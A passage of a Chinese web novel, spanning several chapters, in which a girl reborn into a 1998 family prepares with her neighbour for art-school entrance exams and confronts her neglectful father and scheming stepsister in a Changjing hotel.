结果这当爸的倒好,昨天回来不说来过来看看女儿的伤,反而站在街上来一个人嚷一嗓子,生怕没人不晓得他继女考试第一名。 那个小雪舞蹈可没有温苒跳得好,人长京来的老师都说温苒是个好苗子,温苒要是在,第一名就是温苒的了。 真不知道这当爹的咋想的? 乔丽淑不客气地开口,“老温来了,听说你继女考了第一名,恭喜了。小苒就让她继续住我们家吧,她伤得挺重别挪地儿了,也不打扰你们一家四口庆祝喜事。” 温长林也不是个傻子,当然听得出来这话里的不满。 他嘻嘻笑着,捯饬的油头粉面的脸上不以为意,“小乔你别吓唬我,咱们邻居这么多年我还不知道你们两口子,温苒有事你们比我这个亲爸还着急,现在哪还能坐在沙发上看电视吃水果啊?” 霍青山目瞪口呆,这话你咋说出来的? 乔丽淑感觉白眼翻给了瞎子,一口气堵在嗓子眼上不去下不来,这人莫不是个听不懂人话的傻子吧? 偏偏温长林紧接着就说道:“算了不跟你俩唠了,秀英今天烧了几个好菜庆祝小雪省考第一,怕误了好时辰我得回去等着,温苒就让她住你们家,我肯定放心!” 然后,这大傻子转身就走了。 霍青山:“……” 乔丽淑:“……” 两口子看着温长林颠颠儿小跑洋溢着喜气的背影,眼珠子差点儿瞪出来。 霍青山默默灌了杯热茶,压压惊。 媳妇儿今天还说他偏心眼,偏心成宇对骁北这个亲儿子不好,现在跟温长林一比,呵,他对骁北可太好了! 温苒不知道楼下发生的这一茬,她只看到温长林过来又离开。 难道是过来还药费的? 霍骁北今天回来得晚。 温苒突然想吃她舞蹈训练班附近的一家点心,他放学后转道过去排队,到家的时候天都黑了。 巷口的路灯坏了一段时间,霍骁北凭借着记忆力和过人的视力躲过坑坑洼洼,拐进自家的巷子里。 吱—— 霍骁北猛地刹车,看着突然从一旁冲出来的人,皱眉。 文雪被他的表情吓得发颤,咬着嘴唇,轻声问道:“你知道霍成宇去哪里了吗?我去你们班上问过,他们都说他转学了。” “他回家了。” 霍骁北冷冷丢下这一句,绕过她骑车离开。 文雪转过身,不敢置信地望着霍骁北的身影,她就是从霍家出来的,霍成宇哪有回家? 还有,你一个男生,对漂亮女生的态度就是这样吗? 霍骁北也没想到,他只是随口回了文雪的问题,接下来几天上学放学都能碰到这个人。 上学路,文雪等在巷口,瞥见霍骁北骑车从霍家出来,她笑着跑上前,“骁北哥你送我——” 话还没说完,霍骁北的身影就从眼前一闪而过,消失在视线中。 文雪的笑容僵在脸上。 什么意思?她这么大个人霍骁北是眼瞎了吗? 文雪忿忿不平地跺脚,她就不信了,她非得让霍骁北求她载她坐自行车! 放学后,霍骁北来到车棚,开锁推车。 文雪早就等着呢,冲出来拦在半路,笑着甜甜说道:“霍骁北,我们顺路,我刚好有时间,不如一起逛街,然后你载我回家?” 霍骁北跨上车,表情冷淡,“让开。” 文雪一脸受伤,却不肯让开,垂着脑袋眼神可怜巴巴地偷偷瞥他。 霍骁北不为所动,“没脚还是没钱,要么自己走,要么坐公交车,都没有让家长来接,让开!” 车棚附近的学生听到这话,眼睛瞪大,哇靠,这个男生你是有多铁石心肠?那么漂亮的女生要约你逛街你这么能说出这么伤人的话? 一个男生怒气冲冲过来,护在文雪身前, “喂你这小子懂不懂礼貌?文雪给你机会你不说谢谢就是不知好歹了,你还说那样的话,你知不知道有多少人排队等着当文雪男朋友呢?” 霍骁北惦记着温苒想吃的炸鸡,那边的菜市场关门关得早,去晚了要等下周才能买到。 他眉宇间情绪冷冽,“你前面没人排队,赶快把她带走,你们挡路了。” 众人:“……” 男生憋红了脸,狠狠瞪了霍骁北一眼,拉上文雪的手转身跑了。 霍骁北眼神都没分给她们一个,飞快奔去菜市场买炸鸡。 被拽走的文雪,余光死死盯着他的背影。 霍骁北!我不会放过你的!我等你求我的那一天! 嘈杂的菜市场里,霍骁北递出钱,“炸鸡微辣,炸干一点,多放孜然;再要半斤薯条,复炸两遍,要炸酥脆,不放调料,钱放在这里。” 老式炸鸡和菜市场薯条味道好分量大,每到放学的点摊子面前就大排长龙。 霍骁北买到手一刻不停回到家,洗把脸再回来,温苒已经吃上了酥脆喷香的炸鸡薯条。 他在书桌前坐下,“你那个继妹,可能想打听你的消息。” 温苒扬起花猫脸,“啊?她打听我的消息做什么?我能有什么消息?” 霍骁北看笑了,抽出纸巾给她擦脸,“你错过舞蹈考试,可能她想打听你的伤势,或者接下来你要做什么。” 温苒歪头想了想,“会不会是想打听赵成宇的消息?我都错过考试了,就算下一年再考,也跟文雪没有关系,倒是她和赵成宇,剧情里说她们两个现在已经情投意合了。” 温苒后半句压低声音,语气悄悄的。 霍骁北却道:“赵成宇回了赵家,昨晚她拦我的车问我这个问题,我告诉了她。” 既然这样,温苒笃定地点头,“那就是打听我的伤势。” 转而温苒又疑惑不解,“不过她打听这个做什么啊?就算是文冬推的我,温长林也没有追究的意思,他还主动为文冬开脱,说是我自己没看路。” 霍骁北从书包里拿出笔记和作业,“可能是怕你追究,你之前的性格很霸道。” 往好点说是霸道,往俗了说是泼辣。 温苒想了想,还真是。 她叮嘱霍骁北,“你千万别跟她说我要准备表演艺考,万一半路又出点什么事,我今年可就只能靠文化课拼个好大学了。” 不是说温苒考不上,她考TOP2都随随便便,省状元都易如反掌,但也要看看她之前的成绩啊! 之前温苒是舞蹈艺考生,文化课将将能过线,就算剩下半年她专心文化课成绩,那窜到七百分也不合适啊? 霍骁北点头,“我知道。” 接下来,霍骁北狠狠经历了一番文雪的围追堵截。 和文雪喜欢霍骁北这个谣言同时流传的,还有霍骁北铁石心肠的‘硬汉’名声。 很快,到了省考前两天。 这天是周三,霍青山和乔丽淑专门请了假,送两个孩子去省城参加考试。 “准考证身份证纸笔和资料都带全了吗?” “衣服带厚点的,入了冬天冷,水杯也都带上,我听说前阵子省考就有考生吃坏肚子耽误了考试,咱们可不能这样……” 在两个家长的唠叨和啰嗦中,再三确认无误后,一行四人出发。 经历了笔试和面试,等到排名出炉,温苒和霍骁北赫然名列前茅。 高兴的霍青山和乔丽淑牙都合不拢了,“好好好,你们俩这成绩都挺好,最好报同一所大学,这样能相互照应着。” 等红灯时,霍青山抽空说道:“骁北原来的成绩够呛能读个好大学,要是选导演专业就不一样了。我咨询过教育局的同学,说是国内一流的艺术院校随便选,但当导演也有缺点,咱家没这方面的人脉,你只能靠自己。” 乔丽淑小心翼翼瞅着后座的少年少女,心说老霍就是没看明白,儿子选导演专业那是冲大学去的吗?那分明是醉翁之意不在酒啊! 修养了近一个月,温苒终于能下地走路,依旧不能跑跳,这也意味着她该回学校上课了。 霍骁北起了个大早,准备早餐和午餐盒饭,把霍青山和乔丽淑都惊得跟雷劈一样。 两口子恍恍惚惚,沾儿子喜欢的女生的光,她们当爸妈的终于吃上儿子亲手的饭菜了,她们熬出头了啊! 霍骁北载着温苒,跟平时风驰电掣的速度相比堪称蜗牛趴窝,出发去了学校。 两口子手捧饭盒,既欣慰又心酸。 自行车从霍家出来,刚好碰到温长林和文雪,前者上班,后者蹲霍骁北。 然后就眼睁睁看着霍骁北载着温苒路过她们,转过弯没影了。 温长林瞪眼,嘿,这丫头,刚才都看到他了连声爸也不喊? 文雪瞪眼,破案了,霍骁北这根蠢木头硬石头原来早就盯上了温苒这块天鹅肉! 第60章 第60章千禧年影后3 温苒虽然是艺术生,但读的是普通班。 艺考生中音乐生和美术生占了大多数,市一中也只聘请了这两科的指导老师。 温苒练习和学习舞蹈的地方在校外,对方和她妈妈是同学,经营着一间舞蹈培训室。 停好车子,霍骁北和温苒往教学楼慢吞吞地挪动。 如今是九八年,转过年九九年大学扩招,这个月刚出台的政策,之后大学连年扩招,开放自主招生,大学文凭变得不再值钱。 “很多学生回来复读,学校教室有限,现在每个班都坐满了学生。” 霍骁北说的真不夸张,是真‘满’,走廊上都挤满了学生。 南方学校的教学楼走廊是没有遮挡的,十二月份的冷风一吹,拿笔的手都能吹僵了。 霍骁北在前,从人群中开拓出一条道路。 温苒踩着他的脚步走进教室,恍恍惚惚,她真没读过这么热闹的书,这比赶大集的人还多。 “这边这边!” 靠墙最后一排的座位上清秀男生用力挥手,霍骁北牵着温苒走过去,同她介绍:“这是杜凌,表演的资料就是向他借的。” 温苒冲他道谢:“谢谢杜同学。” 杜凌嘿嘿笑,一边利索地撤出凳子给温苒,“你坐这儿,让你男朋友坐过道,过道人来人往的,再打扰你学习。” 温苒:“……” 温苒正色,“同学,学校禁止早恋。” 杜凌拍自己的嘴,“对对对,口误,口误,温苒同学你资料看得咋样了?今天上午两节数学,还是主任过来上课,他最爱点学生回答问题,等下了课我们探讨探讨资料。” 三个桌椅并排的座位,温苒在中间坐下,什么都没做呢就听旁边杜凌秃噜了一大串。 他话多话密话题很跳跃,好奇心旺盛人缘也好,一到课间教室里外都能听到他的声音,犄角旮旯里有点动静他都得瞅两眼。 上午的课结束,温苒重回高三的体验总体来说很新奇。 不知道尖子班那边如何,普通班的学生就和打了鸡血一样,课上认真听课下互相讨论问题。 准确来说,大学扩招还真就是一管鸡血。 温苒一开始并不清楚,放学回家后,晚饭时听到霍青山和乔丽淑的交谈才明白过来。 这个年代的大学真就是登天梯,大学录取率极低,大学生数量稀少,毕业国家包分配,到了单位好好干就能分房,一辈子这就不愁了。 霍青山摇头,“大学扩招学生机会是多了,但多了就不值钱。今年之后国家还不再包分配,现下 就业环境也不好,等毕业的时候往届生应届生一起竞争,我看情况不比现在好多少。” 乔丽淑把筷子给他,“你别这么悲观,国家有能力招收培养更多的大学生是好事,往后国家的建设也会越来越好越来越快的。” 霍青山瞪眼,“咱俩说的不是一回事儿,我之前去省城出差,省城大学平均一个老师带十个学生,头一年扩招这就奔着翻倍去了,人的精力有限,一个老师带二十个学生这能带得过来吗?教学质量能跟得上吗?” 乔丽淑默默坐下喝粥,你质问我有啥用? 霍青山还在发表长篇大论,“如果都不行,扩招的意义在哪里?就为了一个人才拆成两个半吊子,拉低高等教育的水准?那以后的大学生还能称之为大学生吗?” 温苒听懵了。 啊这? 一个老师带几个学生这不是研究生阶段应该考虑的吗? 本科生难道不是大班流动教学,老师上完课就走,学生考试及格就算,师生情分就是露水姻缘吗? 不过大学扩招,温苒真知道原因,“扩招是为了缓解就业压力吧,而且大学生也是消费用力群体,还能拉动经济。” 桌底下乔丽淑踹了一脚丈夫,“多听听真知灼见吧!” 霍青山:“……” 十二月中,隔壁一家四口齐出动,陪文雪去长京参加校考。 乔丽淑冷眼瞧着,心里的火气一阵阵上涌,哎妈呀真没见过这样的爹,有还不如没有! “老温可真够呛,俩胳肢窝快偏成一个了都,这得有一个月了吧,小苒在咱家住着他愣是一声没吭过。” 霍青山从报纸后直起腰来,“咋了?你嫌小苒烦了?当心你儿子跟你闹啊!” 话落,一个包砸过去,乔丽淑气呼呼撸袖子,两手叉腰,“给我闭嘴吧!我那是心疼小苒,觉着孩子可怜,你不许和骁北乱说听见没?” “再说我巴不得小苒一直住着呢,反正比你那外甥强!” 霍青山缩了缩脖子,屁话不敢再放。 没两天,温苒和霍骁北去学校,就听杜凌问她们:“你们什么时候出发?我跟我爸妈商量好了,这周五放学就走,买晚上的车票早点去。” 温苒惊讶,“这么早?” 杜凌摆手,“不早了!咱们早点去多转几家学校,都报上名,这叫广撒网!” “而且校考每年每个学校的规定也有出入,早点去以防万一,你们俩要不要跟我一起?” 杜凌搓着手,很是激动,“最好咱们考上同一所学校,到时候还能有个照应。” 那当然要一起了。 杜凌很明显比她们两个门清儿,跟着他这个内行,总比她们两个外行瞎摸索要好。 回家跟两位家长一提,乔丽淑迟疑了,“这周就走啊?我跟你爸的单位最近都……” 霍骁北主动道:“杜凌爸妈陪他去,我和温苒可以和他们一起去。” 温苒也点头,“嗯嗯,伯伯,阿姨,我们可以自己去,你们工作要紧。” 乔丽淑不怎么放心,孩子独自离家这么远,万一有万一她不得后悔死啊? 霍青山看得开,“那就你俩自己去,等你们考上大学还要在长京独立生活,先体验体验。” 时间确定下来,乔丽淑忙慌慌给两人收拾行李。 “这么早就去长京,数着日子要待上十天半个月的,那边儿冷,你俩厚衣服不够,明天我去商场看看。” 霍青山单独喊走儿子,“这卡给你,你看着该花花别省,小苒那里她爸指望不上,你既然喜欢人家就别计较有的没的,听见没?” 霍骁北:“……” 他和温苒应该没表现得很明显吧? 他接过卡,“谢谢爸,我知道。” 霍骁北要走,霍青山拽住儿子,欲言又止止言又欲,耳畔是媳妇儿凶狠的命令,最后硬着头皮开口:“你既然喜欢人家女生,就放尊重点,别做不该做的,听着没?” 霍骁北:“……” 这话最应该说给温苒听,她现在仗着年纪小,无所畏惧肆无忌惮地折磨他,幺蛾子一套套的。 霍青山沉着脸,加重语气,“听着没?可不能跟你弟、不能跟街上不学好的混混一样!” 霍骁北镇定点头,“知道,您放心。” 您应该担心的是我。 周五傍晚放学,三人结伴坐上杜凌父母的车,一起去火车站。 杜凌父母从商,经营着市里数一数二的大商场,据说还掺和了一脚房地产行业,杜家的条件放在这个年代数得上一等一。 许是条件好吃得也好,杜父杜母的体型也很圆润富态。 自古父母无有不望子成龙,尤其是有钱有势的家庭。 杜父开车,杜母跟儿子的同学寒暄。 “是骁北和小苒吧,上回省考咱们没见着面,瞧这漂亮模样这大高个子,这一届一中就你们仨考表演专业,这又赶上大学扩招,指定能考上!等大学开学你们仨可要相互照应才行?” 到京市后,杜父的秘书在车站接应,开车送一行人去定好的酒店。 出乎意料这是间平价酒店,应该是照顾到温苒和霍骁北,才选在了这里。 更巧的是,在大堂办理登记时,温苒正好看到那一家四口。 文雪察觉到视线,转头去寻找,却只看到了温苒进入电梯的背影。 按理说她对温苒并没有那么了解,也不能凭借一个裹着羽绒服的臃肿身影就认出这人是温苒。 但文雪认识霍骁北。 霍骁北实在太好认了。 他个高腿长,气质内敛透着冷冽十分独特。 进电梯时他正偏头和温苒说话,转过来的侧脸线条凌厉眉眼深邃。分明是少年略显稚嫩的面容,观他神情却尽显镇定成熟。 文雪心口砰砰跳,嘴唇干涩,脸也在发烫。 是因为霍骁北。 但不是因为她才发现霍骁北长得如何气质如何。 这些文雪早都知道,她对霍骁北围追堵截半个月,要不是扩招之后学生太多走廊走堵死了,课间的时候她还得去霍骁北班上找他。 霍骁北喜欢温苒和温苒在一起又怎样,文雪可不觉得自己比温苒哪里差。 温苒是漂亮,她也漂亮啊,但温苒性格恶劣,她却温柔贴心,没有男人会放着后者不要选前者。 看霍成宇就知道,霍成宇看都懒得看温苒一眼,却早就对她言听计从。 文雪对霍骁北没什么特别的感觉,她只是不甘心被一再无视。 所以她要报复,她要让霍骁北对她死心塌地,然后再甩了他,让他求而不得活在悔恨中。 但今天,就在刚才,文雪看到一向冷淡对任何都不假辞色的霍骁北,眉宇间的冷冽融化,展露出一抹浅笑,幽邃的眼底是挥之不去的深情。 文雪想,如果霍骁北能让她满意,她可以原谅他之前的无礼。 “爸!” 文雪喊了声在前台结账的温长林,“爸!来都来了,不如在长京好好逛一逛吧,我刚才看到温苒也在这家酒店,不如我们去看看她?” 电梯里,温苒板着脸,故意和霍骁北离得远远的。 他根本就是故意的! 他故意没跟自己商量,然后只要一间房,让她误会他和自己一间! 太过分了! 霍骁北忍着笑意,“我跟杜凌一间,房费对半分,你别误会。” 温苒:“……” 外面人多,你别逼我,逼急了看回头没人我怎么折磨你? 两人声音都很小,只有一旁杜凌能听到。 杜凌震惊地回头,“你俩不是说不早恋吗?” 温苒面无表情转过头,“不早恋,早恨,他现在是我的仇人,晚上你记得趁他睡着以后帮我教训他。” 杜凌沉默,电梯这时开了,他赶忙道:“你们小情侣的把戏,我还是不掺和了,别回头你又怪我下手太重。” 说完,他喊着‘爸妈’飞快跟着跑出电梯。 留下温苒恶狠狠瞪着他的背影。 除秘书外,五个人要了三间房。 杜凌父母一间,温苒单独一间,霍骁北和杜凌一间。 时间还早,杜妈赶三个孩子去洗澡,“秘书定了早餐,吃完你们赶紧休息,下午咱们赶早去大学里面参观参观,打听消息。” 杜父喊儿子,“杜凌你过来这边洗,哎呀我连小学都没毕业,也是沾上你们的光了,大学都能进去参观。” 休息了一上午,中午杜凌父母带三个孩子去外面饭馆吃饭。 “尝尝这烤鸭,这边不错的烤鸭店都要预定,幸亏我提前给秘书打了电话。” 杜父热情地招呼三个 孩子吃东西。 下午边转边报了名,报名费齁高,中心影视学院五百块,长京戏剧学院一百块,长京军队文工艺术学院一百五十块。 要知道这可是一九九八年! 三所大学一起报就是七百五十块! 而且这还只是初试报名,后面复试三试除中心影视外需要重新缴费。 温苒都想挑个最便宜的只报那一个。 但她和霍骁北都是临时准备这两个专业的考试,虽说省考发挥不错,可机会只有一次万不能在最后一步掉以轻心,所以只能破财了! 果然自古以来搞艺术的前提都得是脱产有钱,这没钱真不行。 交完资料登记好,第二天来拿准考证。 晚饭在外面的火锅店搓了一顿,霍骁北悄悄离开去结账。 北京消费是高,可霍家也不穷,不至于连几顿饭的钱都出不起。 相反霍骁北的父母级别高工资高,手上还有两处临街的铺面收租,家底相当厚实。 加上之前家里两个儿子,两口子是照着两份家底去准备的,前阵子赵成宇一声不吭离开,两份家底就都归了霍骁北。 杜凌父母去结账时才发现霍骁北早就掏了钱,一时间感慨颇多。 瞧瞧人家孩子这为人处事,再瞧瞧自家这大傻子,光知道个呲牙乐呵。 回到入住的酒店,一进大堂早就等候在此的温长林就和文雪迎上来。 温长林怒冲冲喝道:“温苒你来长京怎么也不跟爸说一声,爸好去接你,要不是文雪看到你爸今天就往回走了,咱们不是正好错过?” 霍骁北抬手,拦住温长林拽温苒的动作,“抱歉,温叔叔,您当时在长京,没办法通知您。” 温长林狐疑的眼神在眼前的小子和女儿身上来回,小雪说这俩人不好好学习早恋,看样子是真的啊! 温长林拉下脸,“你让开,我跟我女儿说话呢,她现在眼里是没有我这个爸了是吧?大姑娘家家脸都不要了,往别人家一住住一个多月还白吃白喝,见天跟别的男生腻歪,是多不值钱才倒贴成这样?” 霍骁北看这个人的眼神里再没有一丝温度,“温叔叔,你慎言。” 温长林冷笑,“我慎言?我想说就说!你们做都做了还不许我说?我告诉你,我是温苒她爸,我说什么她就得听什么!” 文雪静静看着这一幕,眼底闪烁着激动振奋。 看吧!连温苒亲爸都不喜欢她! 杜凌父母听到这里,终于知道了眼前男人的身份,震惊到合不拢嘴。 这是温苒爸爸? 哪有亲爸这么说自己女儿的? 张口倒贴闭口不要脸,多大仇多大怨啊? 两口子这几天跟温苒相处过,先入为主就觉得小姑娘不是那样的人,并认定男人是温苒的后爸。 亲爸才不会这样! 温长林说完那话就用力瞪着霍骁北,管你哪根葱,看上他女儿还想跟他这个老子别苗头,惯的你? 瞪够了,他目光一转看向温苒,恨声道:“你跟我回家!不好好在家上学和野男人来长京,你是想丢光老子的脸吗?” 温长林伸手来拽温苒,温苒抬手打开他,抬高声音:“温先生,我来长京是来考试,你自己心思龌龊不要怪别人。怎么?你为了继女毁我一次考试不够,还想毁第二次?” 她侧过身,飞快说道:“叔叔阿姨,我跟你们介绍一下,这个女生是文雪,这个男人是文雪的继父温长林。” “注意了!” “温长林姓温,文雪姓文,她们不是一个姓氏,虽然读音相近,但就是这么巧,不知情的人都会以为她们是亲生父女。” 温长林怒道:“你胡说什么呢?” 温苒冷冷瞥了他一眼,继续说:“你们看,他急了,他想让我闭嘴,不会吧?” 她故作震惊,“难道我真的说中了?她们真的是亲生父女?” “天啊!可温先生和文雪的母亲是再婚,温先生却是文雪的亲生父女,难道她们两个双双出轨?” 温长林又恼又怒,气得头晕眼花胸闷气短,跺着脚大吼:“温苒!” “死丫头你给我闭嘴!” 温苒不仅不闭嘴,她还歪头笑了笑。 她不笑的时候面容总带着股清冷,笑起来就生动许多。 “哎呀,你们看他又急了!” 温苒指着温长林,造谣么,她真会。 温长林一旁,文雪已经目瞪口呆。 温苒什么时候这么有脑子了?她以前嚣张任性,但生起气来什么话都说不出来,就跟个傻子似的。 文雪一时都愣住了,匆忙摆手试图解释,“不是不是,我生父姓文,和温叔叔不是一个姓,你们不要误会!” 她又转过来看着温苒,“温苒你真记仇,温叔叔那天只是劝你的语气重了些你就记这么长时间,我妈妈对你那么好,你竟然这么猜疑她你对得起她妈?” 温苒挑眉,“哦?你确定是温先生说话的语气重,不是你弟弟文冬把我从楼梯台阶上推下去的力道太重?” “你确定是你妈妈对我好不是对你好?你确定是你妈妈对我好不是温先生对你们姐弟视如己出?” 温苒面上笑盈盈,“不知道你考试结果如何,你我同为舞蹈考生,你弟弟把我推下台阶导致我错过考试,还导致我以后再不能跳舞,你要是能考上这其中有你弟弟一分力也有我的一分啊!” 文雪臊红了脸,又急又怒,“你!温苒你!你怎么能这么说?那只是小冬不小心,你也太阴谋论了,你不能把什么倒霉事都往别人身上推!你应该找找自己的原因!” 温长林回过神来,忙赞同道:“对!温苒你应该找找自己的原因,我为什么对文雪文冬视如己出,那是因为她们姐弟孝顺懂事,而你不懂事不孝顺还只会顶嘴,你竟然还编排起长辈来了?” 温苒连连点头,“嗯嗯嗯,文雪文冬孝顺你,你把她们姐弟当作亲生的,你们就是毫无血缘的亲生父子父女,你们这是双向奔赴啊!” “温先生,我妈没的早,我妈家里没别的亲戚,关系最近的是乡下一个堂兄,也是我堂舅。您等等,我尽快把抚养权和监护权转移到堂舅那边,以后堂舅就是我爸!我也只孝顺我爸!” 这话不知道戳到温长林哪里,他突然就急了,“你胡说什么呢?我是你爸!我才是你爸!你个不孝女!逆女!你敢不孝顺我我就去告你!” 围观的别人不说,杜凌父母都无语了。 这当爸的,真是一言难尽。 哦,孩子小的时候你当爸的不好好当,老了老了还想孩子不计前嫌地孝顺你? 想什么美事呢? 不可否认,就是有这些家长,把孩子当成可以随意操控的附属品。 显然温长林是其中的佼佼者。 温苒这时也终于看明白了。 温长林对原主不好,是因为他觉得原主是亲生的,无论他态度如何,原主都会孝顺他。 而文雪文冬姐弟则不然,她们不是亲生的,所以不一定会孝顺他,所以他要对姐弟两个好,才能让姐弟反过来孝顺他。 原来温长林才不是偏心眼,他只是自私,自私透顶! 那温苒更不能让他得偿所愿了,“温先生,恐怕您只能答应,不然我只好去您单位好好宣扬一下您和董女士的爱恨情仇了。如果您执意不答应,我想会有报纸愿意刊登父亲再婚后和继母共同虐待原配女儿的新闻。若是再不行,那就只能上电视了,您说呢?” 温长林面色青紫白眼直翻,气得话都说不出来,指着温苒的手抖得像犯了羊癫疯,“你你你——” 温苒微笑转头,“文雪,你的亲爸气成这样了,他对你妈你弟还有你那么好,你应该有点良心,扶他过去坐下,或者送他去医院,你说呢?”【你现在阅读的是 】 60-70 第61章 第61章千禧年影后4 温苒笑盈盈的,三言两语威逼恐吓,就轻松搞定了双向奔赴父女二人。 文雪搀扶着温长林灰溜溜遁走。 大堂里围着看热闹的人群四下散开,议论着大出风头的温苒。 “乖乖!这丫头模样是真俊,就是人不可貌相,瞧着乖巧漂亮,说个话能气死人,那是亲爸吧当着这么多人的面挤兑成那样?这怎么说也是亲爸,太没大没小了!” “要我说该!你看那个当爸的那样,哪有上来就说女儿不要脸倒贴的?而且我瞅着她们是重组家庭,没听见说继子给那姑娘推下楼么这是奔着要命去的,当爸的不仅不出头还一味偏心,也是个拎不清的,以后有他后悔的时候!” 不用以后,现在温长林就悔得肠子都青了。 温苒跟她妈的性子可谓如出一辙,又拧又轴软硬不吃四六不认。 当年前妻生了个赔钱货死活不肯再生,他妈偷摸抱走孩子打算送人。 结果前妻抄起菜刀抵他脖子上,说孩子没了她们父母就该陪葬,给一群人吓得找不着北,连忙把孩子给她要回来。 他是个男人,前妻的肚子不肯生他可以找别的肚子,家里丈夫瘫痪的董秀英就是个不错的对象,那个姓文的男人也同意。 结果两人努力了几年,最后怀上又生下来的文冬依旧不是他的种。 所以他温长林这辈子就温苒这么一个亲生的种,她不给自己养老她给谁养老? 温长林悔啊,他怎么就脑子不清楚了连亲疏远近都分不清,虽然他不喜欢温苒这丫头,嫌弃她不是个男娃,但好歹是亲生的啊! 都怪董秀英! 天天在他耳边说温苒这不好那不好老了肯定不会孝顺他,说文雪文冬这好那好姐弟俩拿他当亲爸看待老了以后肯定会孝顺他。 还有文冬! 净不学好竟然还敢把温苒推下楼? 那台阶那么高,万一有个万一人没了怎么办? 温长林沉着脸回到房间,董秀英笑着迎上来,“长林,咱们明天去商场逛逛,给孩子还有你添几件牌子的衣服?” 温长林一把推开他,“文冬呢?” 文冬躺在沙发上玩游戏,闻言瞥了他一眼,“爸,有事?” 温长林三步并两步,蹭蹭上前,拽起文冬扬手就是一巴掌,“看看你干的好事?你推温苒下楼害她再也不能跳舞,这一个多月你不仅连个道歉也没有,还恬不知耻在这里玩游戏?你妈就是这么教你的?” 文冬捂着脸,整个人都愣住没有反应了。 董秀英心疼地扑上去,张开手臂护着儿子,“长林你有话好好说,别动手啊!文冬根本没有推温苒,长林你不是也知道吗?再说温苒这一个多月都住在霍家她这是记恨你防着你呢长林,文冬还是个孩子,被牵连至此他也很伤心!” 文冬垂着脸看不清表情。 温长林呼哧呼哧喘着粗气,鼻孔一张一合,眼睛泛红,表情骇人。 文雪站在门口,瞧见这剑拔弩张的气氛,心里乱糟糟的,一时有些犹豫该不该上去劝架。 温长林指着董秀英大吼,“有没有推你自己清楚!” “温苒跳舞一向比文雪强,她去考试一定能考上,你为了让你女儿考大学就让文冬就毁了温苒的机会,让她再也不能跳舞,你这个毒妇!” 董秀英蓦地瞪大眼,一脸不敢置信,“长林!你怎么能这么说?” 她哽咽道:“我、我们十几年的感情,我没名没分跟了你那么多年!嫁过来以后又时刻小心翼翼伺候你们父女,我的两个孩子什么都排在温苒后头,我这个后妈就差给温苒跪下了!我到底哪里做错了让你这么怀疑我?!” 温长林一听到‘十几年如何如何’,就像有人揪着他耳朵嘲笑他没用,十几年别说生儿子,连个蛋都没有生出来。 他登时脸色一变,“胡说八道!你给我闭嘴!” 他扬起手,啪—— 清脆响亮的一声耳光后,在场人都愣住了。 路过的服务员听到房间里一阵噼里啪啦砸东西的声响,伴随着争吵怒骂,脖子不由缩了缩。 真有钱,砸坏了都得花大价钱赔呢。 同一家酒店里,温苒房间的气氛就很融洽和睦积极向上,三人互相监督着练习考试流程。 休息的时候,杜凌开始了他的科普。 “我觉得咱们稳过,温苒你长得漂亮是大加分项,你还会舞蹈形体也优秀,面试的时候只要不出大错一定能录。” “北哥你这个我不太了解,我问了问教我的表演老师,你们导演系考试命题创作占比例最大,好像也需要才艺和表演展示,今天咱们在学校领的资料你好好翻翻,拿不准的咱们就再去学校问问那边的老师。” 温苒和霍骁北都是临时赶鸭子上架,表演导演没学过一天。 不过温苒有个秘密武器,她有表演技能,等级LV3。 LV5是满级,据介绍这个段位的效果是出神入化,只要拿出去就是秒杀。 LV4略微逊色,可也能做到以假乱真,拿出去同样是秒杀。 LV3则是中不溜,超常发挥下可以在电视剧里挑大梁。 几天的时间过去,三人轮番去参加考试。 第一场时还有些拿不准,后头两场就已经能做到如鱼得水。 这让温苒越发心疼那过早花出去的报名费。 一试二试终试,接下来需要等待排名出炉。 转眼温苒两人已经在长京待了快一个月。 考试结果可以自己去学校看榜,也可以等招生办打电话通知。 霍骁北最后考试却最先接到通知,导演系各个学校的招生数量仅是表演系的一半,他考试结果的不确定性是三人中最大的。 他接到了长京戏剧学院的电话,长京戏剧学院戏剧导演专业今年拟录取十五人,霍骁北的校考排名在第七名,只要文化课过线他铁定能进。 杜凌父母高兴道:“喜事!大喜事!骁北赶紧你给爸妈打个电话通知他们,你是仨人里头的开门红啊!” 挑了下班的时间,霍骁北打电话回家,霍青山和乔丽淑听说他考过了,高兴地差点蹦起来。 乔丽淑高兴完也没忘了温苒,“骁北你考上了也别太得意,等等小苒的信儿,知道没?” 两口子第二天上班,出门时脸上的喜色遮都遮不住。 胡同邻居询问,霍青山打哈哈:“没啥,这不快过年了么,高兴!” 最近闹得窝火的温长林眼珠子转了转,骑车追上去,“老霍!老霍!” 霍青山听到温长林的呼唤,和妻子乔丽淑不约而同加快了蹬腿的速度。 大清早的,不想跟这么拎不清的人说话。 可惜早上躲过了,下班回家没躲过。 温苒在这边住一个月没见温长林上过门,这回他破天荒地过来,还拎了水果烟酒,这事怎么看怎么古怪。 乔丽淑连忙关门,“老温你这是干啥?现在可不兴送礼啊,你想办啥我家老霍办不了,你赶紧把东西拿回去!拿回去!” 温长林愣了下,乐笑了,“不是送礼,我这是谢礼!我家温苒在你们家白住了一个多月,医药费都是你和老霍掏的,我这不前阵子忙文雪那孩子的考试么,现在才有时间好好谢你俩两口子!” 听见这话,乔丽淑:“……” 你这马后炮也太后了,马屁股切下来扔北极去,炮丢南极去都没这么后。 “行,你进来吧,我把缴费单子拿给你,你还了钱就走,我家乱糟糟的不方便接待客人。” 乔丽淑把人迎进来,给钱就好说,等骁北和小苒从长京回来,这钱就给小苒留着当零花。 乔丽淑上楼拿东西,温长林凑到霍青山身边,“老霍,是不是你家骁北和我家小苒考上了?考的哪个大学来着你跟我说说!” 霍青山无语地斜了这人一眼,没搭理他。 哦,孩子大了你知道奶了? 温长林不放弃,搓着手一副着急忏悔的神情,“唉!是我做的不对,最近这段时间疏忽了这孩子,孩子受伤我以为是小伤就没关心,就把孩子给伤着了都不认我这个爸了!” “老霍,咱两家十几年的邻居你可得帮帮我啊!” 霍青山可真是不知道说什么好。 还最近这段时间,最近这段时间是指温苒妈过世董秀英嫁进来以后这八年吗? 那你这当爹的可真是够疏忽! 温长林厚脸皮说这话不害臊,霍青山都替他害臊。 霍青山一个字都不吭,温长林却来劲了。 “我也不容易啊老霍,我是再婚,秀英带俩孩子跟了我,总不能让她们娘仨儿吃苦受气吧?” 霍青山:“……” 他就住隔壁他啥不知道,那娘仨儿受过啥气?那娘仨儿净享福了!胡同邻居谁不说一声小董有本事老温 心肠好? 温长林叹气,“温苒那性子你又不是不知道,随了她妈,一天天就知道抢姐弟俩的东西,就知道跟秀英顶嘴,我虽然是温苒亲爸,但我也不能帮亲不帮理是吧?” 